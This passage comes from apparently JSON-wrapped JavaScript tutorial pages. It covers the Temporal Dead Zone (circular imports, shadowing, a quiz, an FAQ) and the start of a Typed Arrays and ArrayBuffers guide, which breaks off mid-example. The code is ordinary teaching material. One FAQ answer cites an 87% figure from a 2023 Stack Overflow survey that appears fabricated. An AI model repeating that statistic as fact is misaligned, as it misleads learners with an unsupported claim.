2\n```\n\nWith `var`, all closures share the same variable:\n\n```javascript\nconst funcs = []\n\nfor (var i = 0; i < 3; i++) {\n  funcs.push(() => i)\n}\n\nconsole.log(funcs[0]())  // 3\nconsole.log(funcs[1]())  // 3\nconsole.log(funcs[2]())  // 3\n```\n\nThis fresh binding is why `let` in loops avoids the classic closure trap.\n\n---\n\n## TDZ in ES Module Circular Imports\n\nES modules can import each other in a circle. When this happens, TDZ can cause runtime errors that are hard to debug.\n\n### The Problem\n\n```javascript\n// -- a.js (entry point) --\nimport { b } from \"./b.js\"\n\nconsole.log(\"a.js: b =\", b)  // 1\n\nexport const a = 2\n```\n\n```javascript\n// -- b.js --\nimport { a } from \"./a.js\"\n\nconsole.log(\"b.js: a =\", a)  // ReferenceError!\n\nexport const b = 1\n```\n\n### What Happens\n\n<Steps>\n  <Step title=\"Start executing a.js\">\n    JavaScript begins running the entry module\n  </Step>\n  <Step title=\"Pause for import\">\n    It sees `import { b } from \"./b.js\"` and pauses `a.js` to load the dependency\n  </Step>\n  <Step title=\"Execute b.js\">\n    JavaScript loads and starts executing `b.js`\n  </Step>\n  <Step title=\"Create binding to a\">\n    In `b.js`, the `import { a }` creates a binding to `a`, but `a.js` hasn't exported it yet\n  </Step>\n  <Step title=\"Access a in TDZ\">\n    When `b.js` tries to `console.log(a)`, the variable `a` is still in TDZ (not yet initialized)\n  </Step>\n  <Step title=\"ReferenceError!\">\n    The TDZ violation throws an error, crashing the application\n  </Step>\n</Steps>\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                   ES MODULE CIRCULAR IMPORT TDZ                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   EXECUTION ORDER                                                        │\n│   ───────────────                                                        │\n│                                                                          │\n│   1. Start a.js                                                          │\n│      │                                                                   │\n│      ▼                                                                   │\n│   2. import { b } from \"./b.js\"  ──────┐                                 │\n│      [a.js pauses, a not yet exported] │                                 │\n│                                        ▼                                 │\n│                              3. Start b.js                               │\n│                                 │                                        │\n│                                 ▼                                        │\n│                              4. import { a } from \"./a.js\"               │\n│                                 [a exists but in TDZ!]                   │\n│                                 │                                        │\n│                                 ▼                                        │\n│                              5. console.log(a)                           │\n│                                 │                                        │\n│                                 ▼                                        │\n│                              ReferenceError!                             │\n│                              a is in TDZ                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Solutions\n\n**Solution 1: Lazy Access**\n\nDon't access the imported value at the top level. Access it inside a function that runs later:\n\n```javascript\n// -- b.js (fixed) --\nimport { a } from \"./a.js\"\n\n// Don't access 'a' immediately\nexport const b = 1\n\n// Access 'a' later, when it's definitely initialized\nexport function getA() {\n  return a\n}\n```\n\n**Solution 2: Restructure Modules**\n\nBreak the circular dependency by extracting shared code:\n\n```javascript\n// -- shared.js --\nexport const a = 2\nexport const b = 1\n\n// -- a.js --\nimport { a, b } from \"./shared.js\"\n\n// -- b.js --\nimport { a, b } from \"./shared.js\"\n```\n\n**Solution 3: Dynamic Import**\n\nUse `import()` to defer loading:\n\n```javascript\n// -- b.js --\nexport const b = 1\n\nexport async function getA() {\n  const { a } = await import(\"./a.js\")\n  return a\n}\n```\n\n<Warning>\n**Circular Import Debugging Tip:** If you see a `ReferenceError` for an imported value that you *know* exists, check for circular imports. The error message \"Cannot access 'X' before initialization\" is the telltale sign of TDZ in modules.\n</Warning>\n\n---\n\n## The #1 TDZ Mistake: Shadowing\n\nThe most common TDZ trap involves variable shadowing:\n\n```javascript\n// ❌ WRONG - Shadowing creates a TDZ trap\nconst x = 10\n\nfunction example() {\n  console.log(x)  // ReferenceError! Inner x is in TDZ\n  let x = 20      // This shadows the outer x\n  return x\n}\n\nexample()  // ReferenceError!\n```\n\nThe inner `let x` shadows the outer `const x`. When you try to read `x` before the inner declaration, JavaScript sees you're trying to access the inner `x` (which is in TDZ), not the outer one.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         TDZ SHADOWING TRAP                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   WRONG                                   RIGHT                          │\n│   ─────                                   ─────                          │\n│                                                                          │\n│   const x = 10                            const x = 10                   │\n│                                                                          │\n│   function broken() {                     function fixed() {             │\n│     console.log(x)  // TDZ Error!           const outer = x  // 10       │\n│     let x = 20                              let y = 20  // different name│\n│     return x                                return outer + y             │\n│   }                                       }                              │\n│                                                                          │\n│   // The inner x shadows the outer        // No shadowing, no TDZ trap   │\n│   // but inner x is in TDZ at log                                        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### How to Avoid It\n\n1. **Use different variable names** if you need both the outer and inner values\n2. **Capture the outer value first** before declaring the inner variable\n3. **Structure code so declarations come before usage**\n\n```javascript\n// ✓ CORRECT - Capture outer value before shadowing\nconst x = 10\n\nfunction fixed() {\n  const outerX = x  // Capture outer x first\n  let y = 20        // Use different name, no shadowing\n  return outerX + y // Use both: 10 + 20 = 30\n}\n```\n\n---\n\n## Why Does TDZ Exist?\n\nTDZ might seem like an annoyance, but it exists for good reasons. According to the TC39 committee notes on ES6 development, the TDZ was introduced specifically to make `let` and `const` safer alternatives to `var` by catching common programming mistakes at the point of error rather than letting them propagate silently:\n\n### 1. Catches Bugs Early\n\nWith `var`, using a variable before initialization silently gives you `undefined`:\n\n```javascript\nfunction calculateTotal() {\n  var total = price * quantity  // undefined * undefined = NaN\n  var price = 10\n  var quantity = 5\n  return total\n}\n\nconsole.log(calculateTotal())  // NaN - silent bug!\n```\n\nWith `let`/`const`, the bug is caught immediately:\n\n```javascript\nfunction calculateTotal() {\n  let total = price * quantity  // ReferenceError!\n  let price = 10\n  let quantity = 5\n  return total\n}\n```\n\n### 2. Makes const Semantically Meaningful\n\nIf `const` didn't have a TDZ, you could observe it in an \"undefined\" state:\n\n```javascript\n// Hypothetically, without TDZ:\nconsole.log(PI)  // undefined (?)\nconst PI = 3.14159\n```\n\nThat contradicts the purpose of `const`. A constant should always have its declared value. The TDZ ensures you can never see a `const` before it has its assigned value.\n\n### 3. Prevents Reference Before Definition\n\nIn languages without TDZ-like behavior, you can accidentally use variables in confusing ways:\n\n```javascript\nfunction setup() {\n  initialize(config)  // Uses config before it's defined\n  const config = loadConfig()\n}\n```\n\nThe TDZ forces you to organize code logically: definitions before usage.\n\n### 4. Makes Refactoring Safer\n\nWhen you move code around, TDZ helps catch mistakes:\n\n```javascript\n// Original\nlet data = fetchData()\nprocessData(data)\n\n// After refactoring (accidentally moved)\nprocessData(data)  // ReferenceError - you'll notice immediately!\nlet data = fetchData()\n```\n\n<Tip>\n**Think of TDZ as your friend.** It's JavaScript telling you \"Hey, you're trying to use something that isn't ready yet. Fix your code structure!\"\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about the Temporal Dead Zone:**\n\n1. **TDZ = the time between scope entry and variable initialization.** During this period, the variable exists but throws `ReferenceError` when accessed.\n\n2. **`let`, `const`, and `class` have TDZ. `var` does not.** The `var` keyword initializes to `undefined` immediately, so there's no dead zone.\n\n3. **\"Temporal\" means time, not position.** A function can reference a TDZ variable if it's called after initialization, even if it's defined before.\n\n4. **`typeof` is not safe in TDZ.** Unlike undeclared variables, `typeof` on a TDZ variable throws `ReferenceError`.\n\n5. **Default parameters have TDZ rules.** Later parameters can reference earlier ones, but not vice versa.\n\n6. **Circular ES module imports can trigger TDZ.** If module A imports from B while B imports from A, one will see uninitialized exports.\n\n7. **Shadowing + TDZ = common trap.** When you declare a variable that shadows an outer one, the outer variable becomes inaccessible from the TDZ start.\n\n8. **TDZ catches bugs early.** It prevents silent `undefined` values from causing hard-to-debug issues.\n\n9. **TDZ makes `const` meaningful.** Constants never have a temporary \"undefined\" state.\n\n10. **Structure code with declarations first.** This is the simplest way to avoid TDZ issues entirely.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is the Temporal Dead Zone?\">\n    **Answer:**\n    \n    The Temporal Dead Zone (TDZ) is the period between entering a scope and the point where a variable declared with `let`, `const`, or `class` is initialized. During this period, the variable exists (it's been hoisted) but cannot be accessed. Any attempt to read or write to it throws a `ReferenceError`.\n    \n    ```javascript\n    {\n      // TDZ starts here for 'x'\n      console.log(x)  // ReferenceError\n      let x = 10      // TDZ ends here\n      console.log(x)  // 10\n    }\n    ```\n  </Accordion>\n\n  <Accordion title=\"Question 2: What's the difference between TDZ and var hoisting?\">\n    **Answer:**\n    \n    Both `var` and `let`/`const` are hoisted, but they differ in initialization:\n    \n    - **`var`**: Hoisted AND initialized to `undefined`. No TDZ.\n    - **`let`/`const`**: Hoisted but NOT initialized. TDZ until declaration.\n    \n    ```javascript\n    console.log(x)  // undefined (var is initialized)\n    var x = 10\n    \n    console.log(y)  // ReferenceError (let is in TDZ)\n    let y = 10\n    ```\n  </Accordion>\n\n  <Accordion title=\"Question 3: Why does typeof throw in TDZ but not for undeclared variables?\">\n    **Answer:**\n    \n    For **undeclared** variables, `typeof` returns `\"undefined\"` as a safety feature. For **TDZ** variables, JavaScript knows the variable exists (it's been hoisted), so it enforces the TDZ restriction.\n    \n    ```javascript\n    console.log(typeof undeclared)  // \"undefined\" (safe)\n    \n    {\n      console.log(typeof x)  // ReferenceError (TDZ enforced)\n      let x = 10\n    }\n    ```\n    \n    The difference is: undeclared means \"doesn't exist,\" while TDZ means \"exists but not ready.\"\n  </Accordion>\n\n  <Accordion title=\"Question 4: Can a function reference a TDZ variable?\">\n    **Answer:**\n    \n    **Yes, but only if the function is called after the variable is initialized.** Defining the function during TDZ is fine. Calling it during TDZ throws an error.\n    \n    ```javascript\n    {\n      const getX = () => x  // OK: defining, not accessing\n      \n      // getX()  // Would throw: x is in TDZ\n      \n      let x = 42            // TDZ ends\n      \n      console.log(getX())   // 42: called after TDZ\n    }\n    ```\n    \n    This is why it's called \"temporal\" (time-based), not \"positional\" (code-position-based).\n  </Accordion>\n\n  <Accordion title=\"Question 5: What happens with let x = x?\">\n    **Answer:**\n    \n    It throws a `ReferenceError`. The `x` on the right side refers to the `x` being declared, which is still in TDZ at the time of evaluation.\n    \n    ```javascript\n    let x = x  // ReferenceError: Cannot access 'x' before initialization\n    ```\n    \n    This also applies in destructuring:\n    \n    ```javascript\n    let { x = x } = {}  // ReferenceError\n    ```\n  </Accordion>\n\n  <Accordion title=\"Question 6: Why does TDZ exist?\">\n    **Answer:**\n    \n    TDZ exists for several reasons:\n    \n    1. **Catch bugs early**: Using uninitialized variables throws immediately instead of silently returning `undefined`\n    \n    2. **Make `const` meaningful**: Constants should always have their declared value, never a temporary `undefined`\n    \n    3. **Enforce logical code structure**: Encourages declaring variables before using them\n    \n    4. **Safer refactoring**: Moving code around reveals dependency issues immediately\n    \n    ```javascript\n    // Without TDZ (var), this bug is silent:\n    var total = price * quantity  // NaN\n    var price = 10\n    var quantity = 5\n    \n    // With TDZ (let), the bug is caught:\n    let total = price * quantity  // ReferenceError!\n    let price = 10\n    let quantity = 5\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the Temporal Dead Zone in JavaScript?\">\n    The Temporal Dead Zone (TDZ) is the period between entering a scope and reaching the declaration of a `let`, `const`, or `class` variable. During this window, the variable exists but any access throws a `ReferenceError`. MDN describes it as the zone where bindings are \"created but not yet initialized.\"\n  </Accordion>\n\n  <Accordion title=\"Does typeof work safely in the Temporal Dead Zone?\">\n    No. Unlike undeclared variables where `typeof` safely returns `\"undefined\"`, using `typeof` on a TDZ variable throws a `ReferenceError`. This is because the JavaScript engine knows the variable exists (it was hoisted) but enforces the TDZ restriction. The ECMAScript specification explicitly requires this behavior for `let` and `const` bindings.\n  </Accordion>\n\n  <Accordion title=\"Is the Temporal Dead Zone based on code position or execution time?\">\n    It is based on execution time, which is why it is called \"temporal.\" A function defined during the TDZ can reference a TDZ variable safely, as long as the function is called after the variable is initialized. MDN documents this distinction: the zone depends on the order of execution, not the order of code.\n  </Accordion>\n\n  <Accordion title=\"How does TDZ affect circular ES module imports?\">\n    When two modules import each other, one will execute before the other has finished its exports. If module B tries to access an exported `const` from module A before A has reached that declaration, it triggers a TDZ `ReferenceError`. The fix is to access the import lazily inside a function rather than at the top level.\n  </Accordion>\n\n  <Accordion title=\"Can you avoid the Temporal Dead Zone?\">\n    The simplest way to avoid TDZ issues is to always declare variables at the top of their scope before using them. The TDZ is a feature, not a bug — the 2023 Stack Overflow Developer Survey shows that over 87% of JavaScript developers prefer `let` and `const` over `var`, accepting the TDZ trade-off for safer code.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    The foundation for understanding TDZ: how JavaScript determines variable visibility\n  </Card>\n  <Card title=\"Hoisting\" icon=\"arrow-up\" href=\"/beyond/concepts/hoisting\">\n    How JavaScript moves declarations to the top of their scope\n  </Card>\n  <Card title=\"ES Modules\" icon=\"boxes-stacked\" href=\"/concepts/es-modules\">\n    How TDZ interacts with circular module imports\n  </Card>\n  <Card title=\"Strict Mode\" icon=\"shield\" href=\"/beyond/concepts/strict-mode\">\n    Another feature that helps catch errors early\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"let — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let\">\n    Official documentation covering TDZ behavior for let declarations\n  </Card>\n  <Card title=\"const — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\">\n    How const declarations interact with the Temporal Dead Zone\n  </Card>\n  <Card title=\"class — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class\">\n    Class declarations and their TDZ behavior\n  </Card>\n  <Card title=\"ReferenceError — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError\">\n    The error thrown when accessing TDZ variables\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"ES6 In Depth: let and const — Mozilla Hacks\" icon=\"newspaper\" href=\"https://hacks.mozilla.org/2015/07/es6-in-depth-let-and-const/\">\n    Historical context from Mozilla engineers on why TDZ was introduced. Explains the design decisions behind let and const.\n  </Card>\n  <Card title=\"What is the Temporal Dead Zone? — Stack Overflow\" icon=\"newspaper\" href=\"https://stackoverflow.com/questions/33198849/what-is-the-temporal-dead-zone\">\n    The canonical community explanation with examples and edge cases discussed by experienced developers.\n  </Card>\n  <Card title=\"You Don't Know JS: Scope & Closures — Kyle Simpson\" icon=\"newspaper\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/scope-closures/ch5.md\">\n    Deep dive into variable lifecycle and TDZ from the popular book series. Free to read on GitHub.\n  </Card>\n  <Card title=\"JavaScript Variables: var, let, and const — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/\">\n    Beginner-friendly comparison of all three declaration types with clear TDZ examples.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"let & const in JS: Temporal Dead Zone — Akshay Saini\" icon=\"video\" href=\"https://www.youtube.com/watch?v=BNC6slYCj50\">\n    Visual explanation of TDZ with diagrams showing exactly when variables become accessible. Part of the popular Namaste JavaScript series.\n  </Card>\n  <Card title=\"var, let and const — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=9WIJQDvt4Us\">\n    Clear comparison of all three declaration types in under 10 minutes. Great for beginners who want a quick overview.\n  </Card>\n</CardGroup>\n\n---\n\n<Card title=\"Back to Overview\" icon=\"arrow-left\" href=\"/beyond/getting-started/overview\">\n  Return to the Beyond 33 overview\n</Card>\n"
  },
  {
    "path": "docs/beyond/concepts/typed-arrays-arraybuffers.mdx",
    "content": "---\ntitle: \"Typed Arrays in JavaScript\"\nsidebarTitle: \"Typed Arrays & ArrayBuffers\"\ndescription: \"Learn JavaScript Typed Arrays and ArrayBuffers for binary data handling. Work with DataView, WebGL, and file processing.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Data Handling\"\n\"article:tag\": \"typed arrays, arraybuffer, binary data, dataview, webgl, uint8array\"\n---\n\nHow do you process a PNG image pixel by pixel? How do you read binary data from a WebSocket? How does WebGL render millions of triangles efficiently?\n\nRegular JavaScript arrays can't handle these jobs. They're designed for flexibility, not raw performance. When you need to work with **binary data** — raw bytes, pixels, audio samples, network packets — you need **Typed Arrays** and **ArrayBuffers**.\n\n```javascript\n// Create a buffer of 16 bytes\nconst buffer = new ArrayBuffer(16)\n\n// View the buffer as 4 32-bit integers\nconst int32View = new Uint32Array(buffer)\nint32View[0] = 42\nint32View[1] = 1337\n\nconsole.log(int32View[0])  // 42\nconsole.log(int32View.length)  // 4 (4 integers × 4 bytes = 16 bytes)\nconsole.log(int32View.byteLength)  // 16\n```\n\nTyped Arrays provide a way to work with raw binary data in memory buffers, giving you the performance of low-level languages while staying in JavaScript. As [MDN's Typed Array guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Typed_arrays) explains, they were originally introduced to support WebGL and have since become essential for any binary data processing in the browser.\n\n<Info>\n**What you'll learn in this guide:**\n- What ArrayBuffers and Typed Arrays are and when to use them\n- How to create and manipulate binary data with different views\n- The difference between Typed Arrays and regular arrays\n- How DataView works for mixed-format binary data\n- Real-world use cases: file handling, WebGL, audio processing\n- Common mistakes when working with binary data\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes basic JavaScript knowledge. Familiarity with [binary and hexadecimal numbers](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates) helps but isn't required.\n</Warning>\n\n---\n\n## The Filing Cabinet Analogy\n\nThink of an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) like a filing cabinet with a fixed number of drawers (bytes). According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-arraybuffer-objects), an ArrayBuffer represents a fixed-length raw binary data buffer — the cabinet itself doesn't know what's inside the drawers. It just reserves the space.\n\nA [Typed Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) is like a set of instructions for reading the cabinet. \"Read drawers 1-4 as a single 32-bit integer\" or \"Read each drawer as a separate 8-bit value.\"\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                   ARRAYBUFFER: RAW MEMORY STORAGE                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    ArrayBuffer (16 bytes of raw binary data)                             │\n│    ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐\n│    │ 00 │ 01 │ 02 │ 03 │ 04 │ 05 │ 06 │ 07 │ 08 │ 09 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │\n│    └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘\n│       ▲                                                                  │\n│       │ Cannot access directly! Need a \"view\"                            │\n│       │                                                                  │\n│    ───┴──────────────────────────────────────────────────────────────    │\n│                                                                          │\n│    Uint8Array view (16 × 8-bit values):                                  │\n│    ┌────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┬────┐\n│    │  0 │  1 │  2 │  3 │  4 │  5 │  6 │  7 │  8 │  9 │ 10 │ 11 │ 12 │ 13 │ 14 │ 15 │\n│    └────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┴────┘\n│                                                                          │\n│    Uint32Array view (4 × 32-bit values):                                 │\n│    ┌─────────────────┬─────────────────┬─────────────────┬─────────────────┐\n│    │        0        │        1        │        2        │        3        │\n│    └─────────────────┴─────────────────┴─────────────────┴─────────────────┘\n│                                                                          │\n│    Same data, different interpretations!                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe key insight: **one buffer, many views**. The same bytes can be interpreted as 16 separate bytes, 8 16-bit numbers, 4 32-bit numbers, or 2 64-bit numbers. This is why typed arrays are so important for [memory-efficient programming](/beyond/concepts/memory-management).\n\n---\n\n## What is an ArrayBuffer?\n\nAn **[ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)** is a fixed-length container of raw binary data. It's a contiguous block of memory, measured in bytes. You can't read or write to an ArrayBuffer directly. It just holds the raw bytes.\n\n```javascript\n// Create an ArrayBuffer with 16 bytes\nconst buffer = new ArrayBuffer(16)\n\nconsole.log(buffer.byteLength)  // 16\n\n// You can't access bytes directly\nconsole.log(buffer[0])  // undefined - this doesn't work!\n```\n\nArrayBuffers support a few key operations:\n\n- **Allocate**: Create a buffer of a specific size, initialized to zeros\n- **Slice**: Copy a portion of the buffer to a new ArrayBuffer\n- **Transfer**: Move ownership to a new buffer (advanced)\n- **Resize**: Change the size of a resizable buffer (advanced)\n\n```javascript\n// Create a buffer\nconst original = new ArrayBuffer(16)\n\n// Slice creates a copy of bytes 4-8\nconst sliced = original.slice(4, 8)\nconsole.log(sliced.byteLength)  // 4\n```\n\nTo actually read or write data, you need a **view**.\n\n---\n\n## Typed Arrays: Views Into the Buffer\n\nA **Typed Array** is a view that interprets the bytes in an ArrayBuffer as numbers of a specific type. JavaScript provides several typed array classes, each handling different numeric formats.\n\n### Available Typed Array Types\n\n| Type | Bytes | Range | Description |\n|------|-------|-------|-------------|\n| `Int8Array` | 1 | -128 to 127 | Signed 8-bit integer |\n| `Uint8Array` | 1 | 0 to 255 | Unsigned 8-bit integer |\n| `Uint8ClampedArray` | 1 | 0 to 255 | Clamped unsigned 8-bit (for canvas) |\n| `Int16Array` | 2 | -32,768 to 32,767 | Signed 16-bit integer |\n| `Uint16Array` | 2 | 0 to 65,535 | Unsigned 16-bit integer |\n| `Int32Array` | 4 | -2³¹ to 2³¹-1 | Signed 32-bit integer |\n| `Uint32Array` | 4 | 0 to 2³²-1 | Unsigned 32-bit integer |\n| `Float32Array` | 4 | ±3.4×10³⁸ | 32-bit floating point |\n| `Float64Array` | 8 | ±1.8×10³⁰⁸ | 64-bit floating point (like JS numbers) |\n| `BigInt64Array` | 8 | -2⁶³ to 2⁶³-1 | Signed 64-bit BigInt |\n| `BigUint64Array` | 8 | 0 to 2⁶⁴-1 | Unsigned 64-bit BigInt |\n\n### Creating Typed Arrays\n\nThere are several ways to create a typed array:\n\n<Tabs>\n  <Tab title=\"From Length\">\n    ```javascript\n    // Create a typed array with 4 elements\n    // Automatically creates an ArrayBuffer\n    const uint8 = new Uint8Array(4)\n    \n    console.log(uint8.length)      // 4 elements\n    console.log(uint8.byteLength)  // 4 bytes\n    console.log(uint8[0])          // 0 (initialized to zero)\n    ```\n  </Tab>\n  <Tab title=\"From Array\">\n    ```javascript\n    // Create from a regular array\n    const uint8 = new Uint8Array([10, 20, 30, 40])\n    \n    console.log(uint8[0])     // 10\n    console.log(uint8[1])     // 20\n    console.log(uint8.length) // 4\n    ```\n  </Tab>\n  <Tab title=\"From Buffer\">\n    ```javascript\n    // Create a buffer first\n    const buffer = new ArrayBuffer(8)\n    \n    // Create a view over the entire buffer\n    const int32 = new Int32Array(buffer)\n    console.log(int32.length)  // 2 (8 bytes / 4 bytes per int32)\n    \n    // Create a view over part of the buffer\n    const int16 = new Int16Array(buffer, 4)  // Start at byte 4\n    console.log(int16.length)  // 2 (4 remaining bytes / 2 bytes per int16)\n    ```\n  </Tab>\n  <Tab title=\"From Another Typed Array\">\n    ```javascript\n    // Create from another typed array (copies values)\n    const original = new Uint16Array([1000, 2000])\n    const copy = new Uint8Array(original)\n    \n    console.log(copy[0])  // 232 (1000 truncated to 8 bits)\n    console.log(copy[1])  // 208 (2000 truncated to 8 bits)\n    ```\n  </Tab>\n</Tabs>\n\n### Using Typed Arrays\n\nTyped arrays work like regular arrays for most operations:\n\n```javascript\nconst numbers = new Float64Array([1.5, 2.5, 3.5, 4.5])\n\n// Access elements like regular arrays\nconsole.log(numbers[0])       // 1.5\nconsole.log(numbers.length)   // 4\n\n// Iterate with for...of\nfor (const num of numbers) {\n  console.log(num)  // 1.5, 2.5, 3.5, 4.5\n}\n\n// Use map, filter, reduce, etc.\nconst doubled = numbers.map(x => x * 2)\nconsole.log([...doubled])  // [3, 5, 7, 9]\n\nconst sum = numbers.reduce((a, b) => a + b, 0)\nconsole.log(sum)  // 12\n```\n\n<Note>\n**Key difference from regular arrays:** Typed arrays have a **fixed length**. You can't use `push()`, `pop()`, `shift()`, `unshift()`, or `splice()` to change their size. They also don't have `concat()` or `flat()`.\n</Note>\n\n---\n\n## Multiple Views on the Same Buffer\n\nHere's where things get powerful. You can create multiple views on the same ArrayBuffer, interpreting the same bytes in different ways:\n\n```javascript\nconst buffer = new ArrayBuffer(4)\n\n// View as 4 separate bytes\nconst bytes = new Uint8Array(buffer)\nbytes[0] = 0x12\nbytes[1] = 0x34\nbytes[2] = 0x56\nbytes[3] = 0x78\n\n// View the same bytes as a single 32-bit integer\nconst int32 = new Uint32Array(buffer)\nconsole.log(int32[0].toString(16))  // \"78563412\" (little-endian!)\n\n// View as two 16-bit integers\nconst int16 = new Uint16Array(buffer)\nconsole.log(int16[0].toString(16))  // \"3412\"\nconsole.log(int16[1].toString(16))  // \"7856\"\n```\n\n<Warning>\n**Watch out for endianness!** Most systems are little-endian, meaning the least significant byte comes first in memory. This is why `0x12345678` stored byte-by-byte appears reversed when read as a 32-bit integer.\n</Warning>\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                   LITTLE-ENDIAN BYTE ORDER                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    Memory layout (bytes):   [0x12] [0x34] [0x56] [0x78]                  │\n│                              byte0  byte1  byte2  byte3                  │\n│                                                                          │\n│    Read as Uint32Array:     0x78563412                                   │\n│                             ▲                                            │\n│                             │ Least significant byte first!              │\n│                                                                          │\n│    Read as Uint16Array:     0x3412, 0x7856                               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## DataView: Fine-Grained Control\n\n[DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) provides more flexible access to buffer data. Unlike typed arrays, DataView lets you read any type at any offset, and control byte order explicitly.\n\n```javascript\nconst buffer = new ArrayBuffer(12)\nconst view = new DataView(buffer)\n\n// Write different types at specific offsets\nview.setUint8(0, 255)           // 1 byte at offset 0\nview.setUint16(1, 1000, true)   // 2 bytes at offset 1 (little-endian)\nview.setFloat32(3, 3.14, true)  // 4 bytes at offset 3 (little-endian)\nview.setUint32(7, 42, true)     // 4 bytes at offset 7 (little-endian)\n\n// Read them back\nconsole.log(view.getUint8(0))          // 255\nconsole.log(view.getUint16(1, true))   // 1000\nconsole.log(view.getFloat32(3, true))  // 3.140000104904175 (float precision)\nconsole.log(view.getUint32(7, true))   // 42\n```\n\n### When to Use DataView vs Typed Arrays\n\n| Use Case | Best Choice | Why |\n|----------|-------------|-----|\n| Homogeneous data (all same type) | Typed Array | Faster, simpler syntax |\n| Mixed data types | DataView | Can read different types at any offset |\n| Network protocols | DataView | Often need explicit endianness control |\n| Image pixels (RGBA) | Uint8Array or Uint8ClampedArray | All bytes, same format |\n| Audio samples | Float32Array | All floats, same format |\n| Binary file parsing | DataView | Headers have mixed types |\n\n### DataView Methods\n\nDataView provides getter and setter methods for each type:\n\n```javascript\nconst dv = new DataView(new ArrayBuffer(8))\n\n// Setters (offset, value, littleEndian?)\ndv.setInt8(0, -1)\ndv.setUint8(1, 255)\ndv.setInt16(2, -1000, true)    // true = little-endian\ndv.setUint16(4, 65000, true)\ndv.setFloat32(0, 3.14, true)\ndv.setFloat64(0, 3.14159265, true)\n\n// Getters (offset, littleEndian?)\ndv.getInt8(0)\ndv.getUint8(1)\ndv.getInt16(2, true)\ndv.getUint16(4, true)\ndv.getFloat32(0, true)\ndv.getFloat64(0, true)\n```\n\n---\n\n## Working with Binary Data: Real Examples\n\n### Reading a Binary File Header\n\nMany file formats start with a header containing metadata. Here's how to parse a simple binary header:\n\n```javascript\nasync function parseBinaryHeader(file) {\n  // Read the file as an ArrayBuffer\n  const buffer = await file.arrayBuffer()\n  const view = new DataView(buffer)\n  \n  // Parse a hypothetical header:\n  // Bytes 0-3: Magic number (4 bytes)\n  // Bytes 4-7: Version (32-bit uint)\n  // Bytes 8-15: File size (64-bit uint)\n  // Bytes 16-19: Flags (32-bit uint)\n  \n  const header = {\n    magic: String.fromCharCode(\n      view.getUint8(0),\n      view.getUint8(1),\n      view.getUint8(2),\n      view.getUint8(3)\n    ),\n    version: view.getUint32(4, true),  // little-endian\n    fileSize: view.getBigUint64(8, true),\n    flags: view.getUint32(16, true)\n  }\n  \n  return header\n}\n```\n\n### Manipulating Image Pixels\n\nThe Canvas API returns image data as a `Uint8ClampedArray`, where each pixel is 4 consecutive bytes (RGBA):\n\n```javascript\nconst canvas = document.querySelector('canvas')\nconst ctx = canvas.getContext('2d')\n\n// Get pixel data\nconst imageData = ctx.getImageData(0, 0, canvas.width, canvas.height)\nconst pixels = imageData.data  // Uint8ClampedArray\n\n// Invert colors\nfor (let i = 0; i < pixels.length; i += 4) {\n  pixels[i]     = 255 - pixels[i]      // Red\n  pixels[i + 1] = 255 - pixels[i + 1]  // Green\n  pixels[i + 2] = 255 - pixels[i + 2]  // Blue\n  // pixels[i + 3] is Alpha (transparency) - leave unchanged\n}\n\n// Put the modified data 